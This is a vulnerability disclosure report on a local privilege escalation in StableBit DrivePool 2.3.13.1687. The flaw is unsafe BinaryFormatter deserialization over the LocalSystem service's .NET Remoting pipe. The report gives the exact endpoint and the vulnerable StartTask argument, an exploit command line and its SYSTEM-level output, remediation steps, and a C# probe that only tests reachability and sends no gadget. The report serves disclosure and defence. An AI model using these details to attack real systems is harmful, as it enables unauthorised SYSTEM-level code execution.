StableBit DrivePool 2.3.13.1687 Local Privilege Escalation via Insecure Deserialization

Summary

StableBit DrivePool exposes a local .NET Remoting IPC endpoint from `DrivePoolService`, which runs as `LocalSystem`. A standard local user can connect to `\\.\pipe\StableBitDrivePool_Comm`, perform a benign remoting call, and send a BinaryFormatter gadget as the `object TaskState` argument to `Comm1.StartTask(Guid, object, Guid[], bool, bool)`.

In the validation below, the test user was a standard Medium Integrity user and could not directly write to an administrator-only marker directory. The same user reached the DrivePool remoting endpoint and triggered deserialization in the LocalSystem service. The resulting marker file contains `nt authority\system` output from `whoami /all`.

Affected Product and Version

- Product: StableBit DrivePool
- Version: `2.3.13.1687`
- Bundle file version: `2.3.1687.0`
- Service: `DrivePoolService`
- Service account: `LocalSystem`
- IPC endpoint: `ipc://StableBitDrivePool_Comm/Comm1`
- Named pipe: `\\.\pipe\StableBitDrivePool_Comm`

Download URL and SHA-256

- Download URL: `https://covecube.download/DrivePoolWindows/release/download/StableBit.DrivePool_2.3.13.1687_x64_Release.exe`
- File name: `StableBit.DrivePool_2.3.13.1687_x64_Release.exe`
- SHA-256: `362F7B35DA84A5ABC73F1A730567702F052C622E9EFAA32E1AD0F059A72E9DD7`
- Signature: `Valid`, signer `Covecube Inc.`

Primary component hashes:

```
DrivePool.Service.exe  634D99143FF06A0BE0C9445996A1D2B774C21E0377450B7F9FF0BA1D6E2C66F2
DrivePool.Comm.dll     F7F71512A57F4018059358E72108F2B967DD01185046C408AE08A0A771D50ED7
Cove.Native.dll        372891779510CC32A76B6FA3B612EBE47B3363612E41A93F7202F96407EA62BA
Cove.Util.dll          6DBF9579A811516AF1DB8D332C46963A9FA460DF0E88EDD2E29FB978E51E26FA
```

Installed driver hashes observed during setup:

```
covefs.sys       7D7F074DF8B928792EB6B77F84016F464CD29ADA9CF0529DD830457CA7C19A84  Valid, Covecube Inc.
covefs_disk.sys  7562AE69D2EDD3832E9A72EB29715E720DD2806A88CCD3D59A666B9D1BB26476  Valid, Microsoft Windows Hardware Compatibility Publisher
```

Vulnerability Type

Local privilege escalation through unsafe .NET Remoting BinaryFormatter deserialization in a LocalSystem service.

Impact

A standard local user can execute code in the `DrivePoolService` process context, which is `LocalSystem`. This provides full local privilege escalation. The demonstration writes a controlled marker file and grants the standard Users group read access only to that marker file so the low-privilege exploit process can print the result.

Test Environment

- Host: `EXPDEV`
- OS: Microsoft Windows 11 Pro, 64-bit
- Setup user: local Administrator
- Attacker user: `expdev\low`
- Attacker integrity: Medium
- Protected marker path: `C:\ProgramData\VendorRepro\stablebit_drivepool_rce\system_marker.txt`

Setup Steps

The official WiX Burn installer installed the product service and drivers:

```
StableBit.DrivePool_2.3.13.1687_x64_Release.exe /quiet /norestart /log install.log
```

The install log reported:

```
Applied execute package: DrivePoolApplication, result: 0x0, restart: None
Apply complete, result: 0x0, restart: None, ba requested restart:  No
Exit code: 0x0, restarting: No
```

The installed service configuration showed LocalSystem:

```
SERVICE_NAME: DrivePoolService
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        BINARY_PATH_NAME   : "C:\Program Files\StableBit\DrivePool\DrivePool.Service.exe"
        DISPLAY_NAME       : StableBit DrivePool Service
        DEPENDENCIES       : vds
```

```
SERVICE_START_NAME : LocalSystem
```

Reproduction Steps

1. Install StableBit DrivePool 2.3.13.1687 with the no-restart command shown above.
2. Create a controlled marker directory that only `Administrators` and `SYSTEM` can write.
3. As the standard user, run the exploit:

```
stablebit_drivepool_remoting_system_marker_exploit.exe --assembly "C:\Program
Files\StableBit\DrivePool\DrivePool.Comm.dll" --marker-path
"C:\ProgramData\VendorRepro\stablebit_drivepool_rce\system_marker.txt" --marker "STABLEBIT-DRIVEPOOL-
SYSTEM-MARKER-<unique-guid>" --trigger-rce --wait 20
```

The exploit first verifies baseline denial, connects to `\\.\pipe\StableBitDrivePool_Comm`, calls `GetServiceState`, and sends a BinaryFormatter gadget as the `TaskState` argument to `StartTask(Guid, object, Guid[], bool, bool)`.

Baseline Evidence

The marker directory allowed only `Administrators` and `SYSTEM`:

```
C:\ProgramData\VendorRepro\stablebit_drivepool_rce NT AUTHORITY\SYSTEM:(OI)(CI)(F)
                                                   BUILTIN\Administrators:(OI)(CI)(F)


Successfully processed 1 files; Failed processing 0 files
```

The low-privilege process identified itself as a standard Medium Integrity user and could not write the marker directly:

```
[IDENTITY] user=expdev\low
[IDENTITY] is_administrator=False
[IDENTITY] integrity=Medium
```

```
[BASELINE] direct_marker_write=DENIED
path=C:\ProgramData\VendorRepro\stablebit_drivepool_rce\system_marker.txt error=Access to the path
'C:\ProgramData\VendorRepro\stablebit_drivepool_rce\system_marker.txt' is denied.
```

Exploit Evidence

The same standard-user process could connect to the LocalSystem remoting pipe and call a benign method:

```
[PIPE] path=\\.\pipe\StableBitDrivePool_Comm
[PIPE] connect=SUCCESS
[REMOTING] GetServiceState=Running
[REMOTING] BootStartedAt=2026-05-08T22:59:20.4134891-07:00
```

The standard-user process then sent the deserialization marker payload:

```
[EXPLOIT] Sending BinaryFormatter gadget as StartTask TaskState.
[EXPLOIT] Remote method returned an exception after deserialization: The given key was not present in the
dictionary.
[MARKER] read=SUCCESS path=C:\ProgramData\VendorRepro\stablebit_drivepool_rce\system_marker.txt
[RESULT] system_marker_found=True
```

The marker file contained `whoami /all` output from LocalSystem:

```
USER INFORMATION
----------------

User Name          SID
================== ========
nt authority\system S-1-5-18
```

The marker file ACL showed that the SYSTEM payload also granted low-privilege read access to that single test file:

```
C:\ProgramData\VendorRepro\stablebit_drivepool_rce\system_marker.txt BUILTIN\Users:(R)
                                                                    NT AUTHORITY\SYSTEM:(I)(F)
                                                                    BUILTIN\Administrators:(I)(F)
```

Why This Proves the Vulnerability

The baseline proves that the standard user could not directly create or modify the protected marker file. The remoting evidence proves that the same standard user could reach `DrivePoolService` over the local IPC remoting channel. The marker file proves code execution in the service context because it contains `nt authority\system` output written after the low-privilege process sent a serialized object as a remoting argument.

The remote method exception does not disprove exploitation. The marker was written before the product method completed, during deserialization of the `object TaskState` argument. This is the expected failure mode for many deserialization proofs: the payload executes first, and normal application logic may then reject the method arguments.

Cleanup Steps

The product was uninstalled with no-restart parameters:

```
StableBit.DrivePool_2.3.13.1687_x64_Release.exe /uninstall /quiet /norestart /log uninstall.log
```

The uninstall log reported:

```
Applied execute package: DrivePoolApplication, result: 0x0, restart: None
Apply complete, result: 0x0, restart: None, ba requested restart:  No
Exit code: 0x0, restarting: No
```

Post-cleanup checks:

```
[SC] EnumQueryServicesStatus:OpenService FAILED 1060:
The specified service does not exist as an installed service.

Program files DrivePool exists: False
Runtime marker dir exists after cleanup: False
Runtime work dir exists after cleanup: False
Driver files after cleanup:
```

`CoveFS` remained in `STOP_PENDING` / delete-pending state after product uninstall. No reboot or shutdown was initiated. A controlled reboot may be needed later to finish unloading that product driver, but it was not performed during this validation.

Suggested Remediation

- Remove BinaryFormatter-based .NET Remoting for local IPC, or replace it with a protocol that does not deserialize arbitrary object graphs.
- Do not expose privileged remoting endpoints to Builtin Users unless every operation is authenticated, authorized, and uses a safe serializer.
- If remoting must remain temporarily, set the server formatter to the most restrictive possible type filter level and reject methods that accept `object`, delegate, collection, or interface-typed arguments from untrusted clients.
- Remove or harden privileged methods such as `StartTask` and `Reboot` behind explicit authorization checks that run before deserialization can occur.
- Run privileged storage operations behind a hardened broker interface with explicit command schemas.

POC

```
using System;
using System.Collections;
using System.IO;
using System.IO.Pipes;
using System.Reflection;
using System.Runtime.Remoting.Channels;
using System.Runtime.Remoting.Channels.Ipc;
using System.Threading;

internal static class StableBitDrivePoolCloudDriveReachabilityPoc
{
    private sealed class TargetInfo
    {
        public string Product;
        public string PipeName;
```

```
    public string Uri;
    public string CommTypeName;
}

private static int Main(string[] args)
{
    TargetInfo target = Target("drivepool");
    string assemblyPath = null;
    bool callGetServiceState = false;

    for (int i = 0; i < args.Length; i++)
    {
        string arg = args[i];
        if (arg.Equals("--product", StringComparison.OrdinalIgnoreCase) && i + 1 < args.Length)
        {
            target = Target(args[++i]);
            if (target == null)
            {
                Console.Error.WriteLine("Unknown product. Use drivepool or clouddrive.");
                return 2;
            }
        }
        else if (arg.Equals("--pipe", StringComparison.OrdinalIgnoreCase) && i + 1 < args.Length)
        {
            target.PipeName = args[++i];
        }
        else if (arg.Equals("--uri", StringComparison.OrdinalIgnoreCase) && i + 1 < args.Length)
        {
            target.Uri = args[++i];
        }
        else if (arg.Equals("--type", StringComparison.OrdinalIgnoreCase) && i + 1 < args.Length)
        {
            target.CommTypeName = args[++i];
        }
        else if (arg.Equals("--assembly", StringComparison.OrdinalIgnoreCase) && i + 1 < args.Length)
        {
            assemblyPath = args[++i];
        }
        else if (arg.Equals("--call-get-service-state", StringComparison.OrdinalIgnoreCase))
        {
```

```
            callGetServiceState = true;
        }
        else if (arg.Equals("--help", StringComparison.OrdinalIgnoreCase) || arg.Equals("-h",
StringComparison.OrdinalIgnoreCase))
        {
            PrintUsage();
            return 0;
        }
        else
        {
            Console.Error.WriteLine("Unknown or incomplete argument: {0}", arg);
            PrintUsage();
            return 2;
        }
    }

    Console.WriteLine("StableBit DrivePool / CloudDrive remoting reachability probe");
    Console.WriteLine("Target product: {0}", target.Product);
    Console.WriteLine("This PoC does not send a BinaryFormatter gadget and does not modify system state.");

    if (!ProbeNamedPipe(target.PipeName))
    {
        return 1;
    }

    if (!callGetServiceState)
    {
        Console.WriteLine("Pipe reachability confirmed. Use --call-get-service-state with --assembly for a benign
remoting method call.");
        return 0;
    }

    if (string.IsNullOrEmpty(assemblyPath))
    {
        Console.Error.WriteLine("--call-get-service-state requires --assembly <path-to-product-Comm.dll>.");
        return 2;
    }

    return CallGetServiceState(target, assemblyPath);
}
```

```
private static TargetInfo Target(string product)
{
    if (product.Equals("drivepool", StringComparison.OrdinalIgnoreCase))
    {
        return new TargetInfo
        {
            Product = "StableBit DrivePool",
            PipeName = "StableBitDrivePool_Comm",
            Uri = "ipc://StableBitDrivePool_Comm/Comm1",
            CommTypeName = "DrivePoolComm.Comm1"
        };
    }

    if (product.Equals("clouddrive", StringComparison.OrdinalIgnoreCase))
    {
        return new TargetInfo
        {
            Product = "StableBit CloudDrive",
            PipeName = "StableBitCloudDrive_Comm",
            Uri = "ipc://StableBitCloudDrive_Comm/Comm1",
            CommTypeName = "CloudDriveComm.Comm1"
        };
    }

    return null;
}

private static bool ProbeNamedPipe(string pipeName)
{
    Console.WriteLine("Testing local named pipe: \\\\.\\pipe\\{0}", pipeName);
    try
    {
        using (var pipe = new NamedPipeClientStream(".", pipeName, PipeDirection.InOut, PipeOptions.None))
        {
            pipe.Connect(3000);
            Console.WriteLine("Connected to named pipe as current user.");
            return true;
        }
    }
```

```
        catch (TimeoutException)
        {
            Console.Error.WriteLine("Timed out connecting to the pipe. The service may not be running.");
            return false;
        }
        catch (UnauthorizedAccessException ex)
        {
            Console.Error.WriteLine("Access denied opening the pipe: {0}", ex.Message);
            return false;
        }
        catch (IOException ex)
        {
            Console.Error.WriteLine("Pipe I/O error: {0}", ex.Message);
            return false;
        }
    }

    private static int CallGetServiceState(TargetInfo target, string assemblyPath)
    {
        string assemblyFullPath = Path.GetFullPath(assemblyPath);
        string assemblyDirectory = Path.GetDirectoryName(assemblyFullPath);

        AppDomain.CurrentDomain.AssemblyResolve += delegate(object sender, ResolveEventArgs eventArgs)
        {
            string candidate = Path.Combine(assemblyDirectory, new AssemblyName(eventArgs.Name).Name +
".dll");
            return File.Exists(candidate) ? Assembly.LoadFrom(candidate) : null;
        };

        try
        {
            var props = new Hashtable();
            props["name"] = "StableBitDrivePoolCloudDriveReachabilityClient-" + Guid.NewGuid().ToString("N");
            props["secure"] = true;
            ChannelServices.RegisterChannel(new IpcClientChannel(props, null), true);

            Assembly commAssembly = Assembly.LoadFrom(assemblyFullPath);
            Type commType = commAssembly.GetType(target.CommTypeName, true);
            object proxy = Activator.GetObject(commType, target.Uri);
            MethodInfo method = commType.GetMethod("GetServiceState", new[] {
```

```
typeof(DateTime).MakeByRefType() });

            if (method == null)
            {
                Console.Error.WriteLine("Could not find {0}.GetServiceState(DateTime&).", target.CommTypeName);
                return 3;
            }

            object[] methodArgs = { DateTime.MinValue };
            object state = method.Invoke(proxy, methodArgs);
            Console.WriteLine("GetServiceState returned: {0}", state);
            Console.WriteLine("BootStartedAt: {0:o}", (DateTime)methodArgs[0]);
            return 0;
        }
        catch (TargetInvocationException ex)
        {
            Console.Error.WriteLine("Remote call failed: {0}", ex.InnerException != null ? ex.InnerException.Message
: ex.Message);
            return 4;
        }
        catch (Exception ex)
        {
            Console.Error.WriteLine("Remoting probe failed: {0}", ex.Message);
            return 4;
        }
    }

    private static void PrintUsage()
    {
        Console.WriteLine("Usage:");
        Console.WriteLine("  stablebit_drivepool_clouddrive_remoting_reachability_poc.exe --product drivepool");
        Console.WriteLine("  stablebit_drivepool_clouddrive_remoting_reachability_poc.exe --product clouddrive");
        Console.WriteLine("  stablebit_drivepool_clouddrive_remoting_reachability_poc.exe --product drivepool --
call-get-service-state --assembly <DrivePool.Comm.dll>");
        Console.WriteLine();
        Console.WriteLine("Options:");
        Console.WriteLine("  --product <drivepool|clouddrive>  Default: drivepool.");
        Console.WriteLine("  --pipe <name>                     Override named pipe.");
        Console.WriteLine("  --uri <uri>                       Override remoting URI.");
        Console.WriteLine("  --type <full-name>                Override remoting type name.");
```

```
        Console.WriteLine("  --assembly <product Comm.dll>     Required only for the benign remoting method
call.");
    }
}
```

Revision #1
Created 25 May 2026 17:51:11 by winslow
Updated 25 May 2026 17:53:37 by winslow